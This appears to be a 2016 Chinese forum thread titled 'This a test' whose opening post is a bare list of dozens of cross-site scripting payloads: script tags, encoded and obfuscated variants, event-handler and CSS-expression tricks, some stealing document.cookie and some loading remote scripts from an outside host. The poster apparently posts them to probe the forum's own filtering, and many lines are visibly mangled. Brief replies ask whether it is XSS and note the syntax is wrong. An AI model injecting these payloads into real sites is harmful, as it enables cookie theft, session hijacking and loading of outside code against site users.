请选择 进入手机版 | 继续访问电脑版
查看: 1700|回复: 4

This a test

[复制链接]
  • TA的每日心情

    2016-3-31 10:12
  • 签到天数: 26 天

    [LV.4]偶尔看看III

    发表于 2016-3-3 21:36:59 | 显示全部楼层 |阅读模式
    本帖最后由 浮尘 于 2016-3-4 14:53 编辑

    This a test

    <script>alert('hello,gaga!');</script> //经典语句,哈哈!

    >"'><img src="javascript.:alert('XSS')">

    >"'><script>alert('XSS')</script>

    <table background='javascript.:alert(([code])'></table>

    <object type=text/html data='javascript.:alert(([code]);'></object>

    "+alert('XSS')+"

    '><script>alert(document.cookie)</script>

    ='><script>alert(document.cookie)</script>

    <script>alert(document.cookie)</script>

    <script>alert(vulnerable)</script>

    <s&#99;ript>alert('XSS')</script>

    <img src="javas&#99;ript:alert('XSS')">

    %0a%0a<script>alert(\"Vulnerable\")</script>.jsp

    %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

    %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

    %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html

    <script>alert('Vulnerable')</script>

    a.jsp/<script>alert('Vulnerable')</script>

    "><script>alert('Vulnerable')</script>

    <IMG SRC="javascript.:alert('XSS');">

    <IMG src="/javascript.:alert"('XSS')>

    <IMG src="/JaVaScRiPt.:alert"('XSS')>

    <IMG src="/JaVaScRiPt.:alert"(&quot;XSS&quot;)>

    <IMG SRC="jav&#x09;ascript.:alert('XSS');">

    <IMG SRC="jav&#x0A;ascript.:alert('XSS');">

    <IMG SRC="jav&#x0D;ascript.:alert('XSS');">

    "<IMG src="/java"\0script.:alert(\"XSS\")>";'>out

    <IMG SRC=" javascript.:alert('XSS');">

    <SCRIPT>a=/XSS/alert(a.source)</SCRIPT>

    <BODY BACKGROUND="javascript.:alert('XSS')">

    <BODY ONLOAD=alert('XSS')>

    <IMG DYNSRC="javascript.:alert('XSS')">

    <IMG LOWSRC="javascript.:alert('XSS')">

    <BGSOUND SRC="javascript.:alert('XSS');">

    <br size="&{alert('XSS')}">

    <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>

    <LINK REL="stylesheet"HREF="javascript.:alert('XSS');">

    <IMG SRC='vbscript.:msgbox("XSS")'>

    <META. HTTP-EQUIV="refresh"CONTENT="0;url=javascript.:alert('XSS');">

    <IFRAME. src="/javascript.:alert"('XSS')></IFRAME>

    <FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET>

    <TABLE BACKGROUND="javascript.:alert('XSS')">

    <DIV STYLE="background-image: url(javascript.:alert('XSS'))">

    <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html&#39;);">

    <DIV STYLE="width: expression(alert('XSS'));">

    <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

    <IMG STYLE='xss:expre\ssion(alert("XSS"))'>

    <STYLE. TYPE="text/javascript">alert('XSS');</STYLE>

    <STYLE. TYPE="text/css">.XSS{background-image:url("javascript.:alert('XSS')");}</STYLE><A CLASS=XSS></A>

    <STYLE. type="text/css">BODY{background:url("javascript.:alert('XSS')")}</STYLE>

    <BASE HREF="javascript.:alert('XSS');//">

    getURL("javascript.:alert('XSS')")

    a="get";b="URL";c="javascript.:";d="alert('XSS');";eval(a+b+c+d);

    <XML SRC="javascript.:alert('XSS');">

    "> <BODY NLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"

    <SCRIPT. SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>

    <IMG SRC="javascript.:alert('XSS')"

    <SCRIPT. a=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

    <SCRIPT.=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

    <SCRIPT. a=">"''SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

    <SCRIPT."a='>'"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

    <SCRIPT>document.write("<SCRI");</SCRIPT>PTSRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

    <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>

    回复

    使用道具 举报

  • TA的每日心情

    2020-9-14 19:17
  • 签到天数: 418 天

    [LV.9]以坛为家II

    发表于 2016-3-3 22:56:52 | 显示全部楼层
    灌水会扣分的,
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2017-9-12 00:13
  • 签到天数: 321 天

    [LV.8]以坛为家I

    发表于 2016-3-4 01:47:24 | 显示全部楼层
    虽然不是到楼主在测试什么,不过我敢肯定的是语法错了
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2020-8-25 09:43
  • 签到天数: 419 天

    [LV.9]以坛为家II

    发表于 2016-3-5 12:41:56 | 显示全部楼层
    xss么?
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2016-4-17 18:18
  • 签到天数: 3 天

    [LV.2]偶尔看看I

    发表于 2016-3-6 16:23:02 | 显示全部楼层
    浮浮又来逗比了
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表